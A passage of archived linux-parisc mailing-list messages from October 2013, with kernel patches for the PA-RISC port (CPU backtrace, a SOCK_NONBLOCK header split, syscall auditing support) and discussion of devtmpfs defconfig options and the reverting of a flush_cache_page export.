+void arch_trigger_all_cpu_backtrace(void)
+{
+	unsigned long flags;
+
+	cpumask_copy(to_cpumask(backtrace_mask), cpu_online_mask);
+
+	pr_info("sending IPI to all CPUs:\n");
+	local_irq_save(flags);
+	local_irq_enable();
+	on_each_cpu(smp_call_func_backtrace, NULL, 0);
+	local_irq_restore(flags);
+}
+#endif
+
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New hppa kernel packages uploaded (3.10.11, aka 3.10-3) to parisc
 archives
Date: Sun, 13 Oct 2013 21:52:50 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <525AFA12.2000002@gmx.de>
References: <BLU0-SMTP850C7B9645BBBC4DF76FD0971C0@phx.gbl> <5256AFF5.8080805@landcomp.net> <BLU0-SMTP27179D0C2057664D913C74971F0@phx.gbl> <52578D25.6010102@landcomp.net> <BLU0-SMTP337F2FF2A00CABB1AD2BA2971F0@phx.gbl> <525ACD4D.4060108@landcomp.net> <BLU0-SMTP943EBAB2046BE47061811197190@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1381693972 30168 80.91.229.3 (13 Oct 2013 19:52:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Oct 2013 19:52:52 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	Dave Land <xmechanic@landcomp.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 13 21:52:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVRif-00029Y-Rg
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Oct 2013 21:52:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755200Ab3JMTwx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Oct 2013 15:52:53 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:58479 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755205Ab3JMTww (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Oct 2013 15:52:52 -0400
Original-Received: from [192.168.178.60] ([84.173.67.88]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MDyFr-1VYPjY0kQx-00HQED for
 <linux-parisc@vger.kernel.org>; Sun, 13 Oct 2013 21:52:51 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <BLU0-SMTP943EBAB2046BE47061811197190@phx.gbl>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:JE27P/1VLizyh4i6LY2BDeBvJkrS33sIie92O5KtNxGSN3AUBz4
 Jg+yjZycWvDlwkUq1TfpkYNGNnwwlDit+/Zxf+P/PfUU7Tim2ftz7r4hH4+nnfEbt9r55qF
 An3psfh/72Nk+D7to2YxtLXK5JaOpeBs6lZQR+6pSGaSJdPDJ+B6nUXFMGHIgsJ+hvkNNj4
 VWg4AlVVZ3TaP0gg3OguQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5380
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5380>

Hi Dave,

On 10/13/2013 06:59 PM, John David Anglin wrote:
> To get devtmpfs you need a kernel built with CONFIG_DEVTMPFS.  I think the Debian kernels in the archive
> have this.  However, at least some of the default parisc kernel configs miss this option.

You are correct.
I just tested shortly the 712_defconfig and c3000_defconfigs, and both are missing CONFIG_DEVTMPFS.

What about DEVTMPFS_MOUNT? Is it needed as well? 
(Automount devtmpfs at /dev, after the kernel mounted the rootfs (DEVTMPFS_MOUNT) [N/y/?] (NEW))

I think it makes sense to update the defconfigs.
What else do you know might be missing?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New hppa kernel packages uploaded (3.10.11, aka 3.10-3) to parisc archives
Date: Sun, 13 Oct 2013 22:03:12 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <4281904.kYLiapHo9h@caliban.sf-tec.de>
References: <BLU0-SMTP850C7B9645BBBC4DF76FD0971C0@phx.gbl> <BLU0-SMTP943EBAB2046BE47061811197190@phx.gbl> <525AFA12.2000002@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3774966.7RQWWPtt7x"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1381694998 7521 80.91.229.3 (13 Oct 2013 20:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Oct 2013 20:09:58 +0000 (UTC)
Cc: Dave Land <xmechanic@landcomp.net>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 13 22:10:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVRzE-0002jo-Ti
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Oct 2013 22:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755196Ab3JMUKA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Oct 2013 16:10:00 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:57845 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755096Ab3JMUKA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Oct 2013 16:10:00 -0400
X-Greylist: delayed 396 seconds by postgrey-1.27 at vger.kernel.org; Sun, 13 Oct 2013 16:09:59 EDT
Original-Received: (qmail 5347 invoked from network); 13 Oct 2013 20:03:17 -0000
Original-Received: from dslb-188-096-223-080.pools.arcor-ip.net ([::ffff:188.96.223.80]:43557 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sun, 13 Oct 2013 22:03:17 +0200
User-Agent: KMail/4.11.2 (Linux/3.11.3-1.gb1e6ec5-desktop; KDE/4.11.2; x86_64; ; )
In-Reply-To: <525AFA12.2000002@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5381
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5381>


--nextPart3774966.7RQWWPtt7x
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Sonntag, 13. Oktober 2013, 21:52:50 schrieb Helge Deller:
> Hi Dave,
> 
> On 10/13/2013 06:59 PM, John David Anglin wrote:
> > To get devtmpfs you need a kernel built with CONFIG_DEVTMPFS.  I think the
> > Debian kernels in the archive have this.  However, at least some of the
> > default parisc kernel configs miss this option.
> You are correct.
> I just tested shortly the 712_defconfig and c3000_defconfigs, and both are
> missing CONFIG_DEVTMPFS.
> 
> What about DEVTMPFS_MOUNT? Is it needed as well?
> (Automount devtmpfs at /dev, after the kernel mounted the rootfs
> (DEVTMPFS_MOUNT) [N/y/?] (NEW))

This only has an effect if no initrd is used. But it would help for the case it 
is not, and has no bad effect in case an initrd is used, so both should be 
switched on.

Eike
--nextPart3774966.7RQWWPtt7x
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlJa/IUACgkQXKSJPmm5/E51DACgjb4ZRFHV+81+AhE7PqhPhyAN
/oUAn3whiSvzTiuZyzBfMvHlixZ1oMG6
=z6fI
-----END PGP SIGNATURE-----

--nextPart3774966.7RQWWPtt7x--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.12-rc5
Date: Mon, 14 Oct 2013 04:26:21 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20131014112621.GA9705@infradead.org>
References: <20131013161130.GA19534@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381749987 9968 80.91.229.3 (14 Oct 2013 11:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Oct 2013 11:26:27 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 14 13:26:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVgI9-0001HH-8i
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Oct 2013 13:26:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756106Ab3JNL02 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Oct 2013 07:26:28 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:40671 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755704Ab3JNL02 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Oct 2013 07:26:28 -0400
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1VVgI1-0003b5-Q4; Mon, 14 Oct 2013 11:26:21 +0000
Content-Disposition: inline
In-Reply-To: <20131013161130.GA19534@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5382 gmane.linux.kernel:1578511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5382>

> Geert Uytterhoeven (1):
>       parisc: Export flush_cache_page() (needed by lustre)

This one shouldn't go in - Geert sent it a bit prematurely, as Lustre
shouldn't use it just to reimplement core VM functionality (which it
shouldn't use either, but that's a separate story).

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Aw: Re: [GIT PULL] parisc updates for v3.12-rc5
Date: Mon, 14 Oct 2013 14:35:33 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <trinity-4f52e27f-75d8-4137-83d6-d242e529c3c9-1381754133846@3capp-gmx-bs48>
References: <20131013161130.GA19534@p100.box>,
 <20131014112621.GA9705@infradead.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1381754137 24245 80.91.229.3 (14 Oct 2013 12:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Oct 2013 12:35:37 +0000 (UTC)
Cc: "Linus Torvalds" <torvalds@linux-foundation.org>,
	"Linux Kernel Development" <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>
To: "Christoph Hellwig" <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 14 14:35:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVhN2-0000vi-RX
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Oct 2013 14:35:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756439Ab3JNMff (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Oct 2013 08:35:35 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:63067 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756319Ab3JNMff (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Oct 2013 08:35:35 -0400
Original-Received: from 3capp-gmx-bs48.server.lan ([172.19.170.101]) by
 mrigmx.server.lan (mrigmx002) with ESMTP (Nemesis) id
 0Lgbwh-1W9xfk46JZ-00nzaZ for <linux-parisc@vger.kernel.org>; Mon, 14 Oct 2013
 14:35:33 +0200
Original-Received: from [155.56.68.216] by 3capp-gmx-bs48.server.lan with HTTP; Mon
 Oct 14 14:35:33 CEST 2013
Importance: normal
Sensitivity: Normal
In-Reply-To: <20131014112621.GA9705@infradead.org>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:GJqUwy1bzfHifCoSepgB+MfMUKEBN7w4qhYVM+5lur/
 xDFeW1B/t8jG+HY1N4SKfR21BpBQ4uqRxwwnMo35Accz/oOJ3A
 BF6gJj/h/Mf58zchvJKWJMJR0yP+cVO03KDQNPEQWFCvCGc9Hf
 C44Mx1ysTG3bKqMbLKv4QdKq3mqP1aZKKTKXlCgYhfGQZ7+GUy
 tJa2hyUWFBUZSh0LA/0A0jm+Mnj0VZcBG3txDG5rCcp0KrtO3+
 rTNsElTAwQgNakootGA4po2G+WsOfQracColqha4prQ7aJo30Z BJQCus=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5383 gmane.linux.kernel:1578556
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5383>

> > Geert Uytterhoeven (1):
> >       parisc: Export flush_cache_page() (needed by lustre)
> 
> This one shouldn't go in - Geert sent it a bit prematurely, as Lustre
> shouldn't use it just to reimplement core VM functionality (which it
> shouldn't use either, but that's a separate story).

Ok, it's my fault then.
I'll include a reverting patch in the next parisc pull request...

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: break out SOCK_NONBLOCK define to own asm header file
Date: Mon, 14 Oct 2013 21:04:13 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20131014190413.GA1356@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381777456 11098 80.91.229.3 (14 Oct 2013 19:04:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Oct 2013 19:04:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	dave.anglin@bell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 14 21:04:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVnRC-0005DP-FR
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Oct 2013 21:04:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756888Ab3JNTER (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Oct 2013 15:04:17 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54483 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756813Ab3JNTER (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Oct 2013 15:04:17 -0400
Original-Received: from p100.box ([84.173.50.17]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0LjdS8-1W2wOV1fvU-00bYRQ for
 <linux-parisc@vger.kernel.org>; Mon, 14 Oct 2013 21:04:15 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:CiCznMlppcQDkp5K/aLT90A90Thejj7iEFaSCVQPtgS7EO+2Udj
 oAtGhXacGVTal4mloceqmQhMqcDkSCqo6X/XK3eDgrjwYM6lBIX9uNYgiwpWcbezR/tZIr2
 vkNG+eTOAtkfavaHXhBUbUCE0MtFcOkwW07h3SfOVKej+7GEt9SxY4Oo0cbxV7lNwNV4HxK
 Kn1xr5gQfmbvd0jcq8rrw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5384>

Break SOCK_NONBLOCK out to its own asm-file as other arches do. This
fixes build errors with auditd and probably other packages.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/socket.h b/arch/parisc/include/asm/socket.h
new file mode 100644
index 0000000..8d806d8
--- /dev/null
+++ b/arch/parisc/include/asm/socket.h
@@ -0,0 +1,10 @@
+#ifndef _ASM_SOCKET_H
+#define _ASM_SOCKET_H
+
+#include <uapi/asm/socket.h>
+
+/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
+ * have to define SOCK_NONBLOCK to a different value here.
+ */
+#define SOCK_NONBLOCK	0x40000000
+#endif /* _ASM_SOCKET_H */
diff --git a/arch/parisc/include/uapi/asm/socket.h b/arch/parisc/include/uapi/asm/socket.h
index 71700e6..9f2174f 100644
--- a/arch/parisc/include/uapi/asm/socket.h
+++ b/arch/parisc/include/uapi/asm/socket.h
@@ -1,5 +1,5 @@
-#ifndef _ASM_SOCKET_H
-#define _ASM_SOCKET_H
+#ifndef _UAPI_ASM_SOCKET_H
+#define _UAPI_ASM_SOCKET_H
 
 #include <asm/sockios.h>
 
@@ -75,9 +75,4 @@
 
 #define SO_BUSY_POLL		0x4027
 
-/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
- * have to define SOCK_NONBLOCK to a different value here.
- */
-#define SOCK_NONBLOCK   0x40000000

From - Thu Nov 08 21:09:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add kernel auditing feature
Date: Mon, 14 Oct 2013 21:08:56 +0200
Lines: 251
Approved: news@gmane.org
Message-ID: <20131014190856.GA1483@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1381777739 14158 80.91.229.3 (14 Oct 2013 19:08:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Oct 2013 19:08:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 14 21:09:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VVnVl-00087V-NR
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Oct 2013 21:09:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756628Ab3JNTJA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Oct 2013 15:09:00 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:64012 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755770Ab3JNTJA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Oct 2013 15:09:00 -0400
Original-Received: from p100.box ([84.173.50.17]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MbgKD-1VDJ9j0GbF-00J0bx for
 <linux-parisc@vger.kernel.org>; Mon, 14 Oct 2013 21:08:58 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:YgUMZbSftTarh6WlWo421Rj7wC3TvNVhwh/imUGHnGYYwaGrS7L
 1/vIfe9u0SV1TWMj0B/eDrebFdPorxr9GrTn4jlzZNrKaGPE6lGSqvp4PToaSfOci575IIJ
 0cQQ9DA7rg2w6Zu2HJANKGSTLDI4yUTt+2ITAsN6S3qhJ7MLJI4EN/roRaGSwZdFnh6IKgH
 BBGRNjEZ1NoHyrIjuz3vg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5385
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5385>

Still untested as additional work - which is ongoing - is needed in the
upstream auditd tool.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ad2ce8d..73e0ac2 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -287,6 +287,10 @@ config SYSVIPC_COMPAT
 	def_bool y
 	depends on COMPAT && SYSVIPC
 
+config AUDIT_ARCH
+	def_bool y
+	depends on COMPAT
+
 config HPUX
 	bool "Support for HP-UX binaries"
 	depends on !64BIT
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 540c88f..bc7cf12 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -59,6 +59,7 @@ struct thread_info {
 #define TIF_32BIT               4       /* 32 bit binary */
 #define TIF_MEMDIE		5	/* is terminating due to OOM killer */
 #define TIF_RESTORE_SIGMASK	6	/* restore saved signal mask */
+#define TIF_SYSCALL_AUDIT	7	/* syscall auditing active */
 #define TIF_NOTIFY_RESUME	8	/* callback before returning to user */
 #define TIF_SINGLESTEP		9	/* single stepping? */
 #define TIF_BLOCKSTEP		10	/* branch stepping? */
@@ -68,6 +69,7 @@ struct thread_info {
 #define _TIF_NEED_RESCHED	(1 << TIF_NEED_RESCHED)
 #define _TIF_POLLING_NRFLAG	(1 << TIF_POLLING_NRFLAG)
 #define _TIF_32BIT		(1 << TIF_32BIT)
+#define _TIF_SYSCALL_AUDIT	(1 << TIF_SYSCALL_AUDIT)
 #define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
 #define _TIF_SINGLESTEP		(1 << TIF_SINGLESTEP)
 #define _TIF_BLOCKSTEP		(1 << TIF_BLOCKSTEP)
@@ -75,7 +77,7 @@ struct thread_info {
 #define _TIF_USER_WORK_MASK     (_TIF_SIGPENDING | _TIF_NOTIFY_RESUME | \
                                  _TIF_NEED_RESCHED)
 #define _TIF_SYSCALL_TRACE_MASK (_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP |	\
-				 _TIF_BLOCKSTEP)
+				 _TIF_BLOCKSTEP | _TIF_SYSCALL_AUDIT)
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 66ee3f1..ad1e3a6 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -31,5 +31,6 @@ obj-$(CONFIG_64BIT)	+= binfmt_elf32.o sys_parisc32.o signal32.o
 obj-$(CONFIG_STACKTRACE)+= stacktrace.o
 # only supported for PCX-W/U in 64-bit mode at the moment
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o
+obj-$(CONFIG_AUDIT_ARCH) += audit.o compat_audit.o
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
diff --git a/arch/parisc/kernel/audit.c b/arch/parisc/kernel/audit.c
new file mode 100644
index 0000000..bdc7773
--- /dev/null
+++ b/arch/parisc/kernel/audit.c
@@ -0,0 +1,81 @@
+#include <linux/init.h>
+#include <linux/types.h>
+#include <linux/audit.h>
+#include <asm/unistd.h>
+
+static unsigned dir_class[] = {
+#include <asm-generic/audit_dir_write.h>
+~0U
+};
+
+static unsigned read_class[] = {
+#include <asm-generic/audit_read.h>
+~0U
+};
+
+static unsigned write_class[] = {
+#include <asm-generic/audit_write.h>
+~0U
+};
+
+static unsigned chattr_class[] = {
+#include <asm-generic/audit_change_attr.h>
+~0U
+};
+
+static unsigned signal_class[] = {
+#include <asm-generic/audit_signal.h>
+~0U
+};
+
+int audit_classify_arch(int arch)
+{
+#ifdef CONFIG_COMPAT
+	if (arch == AUDIT_ARCH_PARISC)
+		return 1;
+#endif
+	return 0;
+}
+
+int audit_classify_syscall(int abi, unsigned syscall)
+{
+#ifdef CONFIG_COMPAT
+	extern int parisc32_classify_syscall(unsigned);
+	if (abi == AUDIT_ARCH_PARISC)
+		return parisc32_classify_syscall(syscall);
+#endif
+	switch (syscall) {
+	case __NR_open:
+		return 2;
+	case __NR_openat:
+		return 3;
+	case __NR_execve:
+		return 5;
+	default:
+		return 0;
+	}
+}
+
+static int __init audit_classes_init(void)
+{
+#ifdef CONFIG_COMPAT
+	extern __u32 parisc32_dir_class[];
+	extern __u32 parisc32_write_class[];
+	extern __u32 parisc32_read_class[];
+	extern __u32 parisc32_chattr_class[];
+	extern __u32 parisc32_signal_class[];
+	audit_register_class(AUDIT_CLASS_WRITE_32, parisc32_write_class);
+	audit_register_class(AUDIT_CLASS_READ_32, parisc32_read_class);
+	audit_register_class(AUDIT_CLASS_DIR_WRITE_32, parisc32_dir_class);
+	audit_register_class(AUDIT_CLASS_CHATTR_32, parisc32_chattr_class);
+	audit_register_class(AUDIT_CLASS_SIGNAL_32, parisc32_signal_class);
+#endif
+	audit_register_class(AUDIT_CLASS_WRITE, write_class);
+	audit_register_class(AUDIT_CLASS_READ, read_class);
+	audit_register_class(AUDIT_CLASS_DIR_WRITE, dir_class);
+	audit_register_class(AUDIT_CLASS_CHATTR, chattr_class);
+	audit_register_class(AUDIT_CLASS_SIGNAL, signal_class);
+	return 0;
+}
+
+__initcall(audit_classes_init);
diff --git a/arch/parisc/kernel/compat_audit.c b/arch/parisc/kernel/compat_audit.c
new file mode 100644
index 0000000..ba64dfe
--- /dev/null
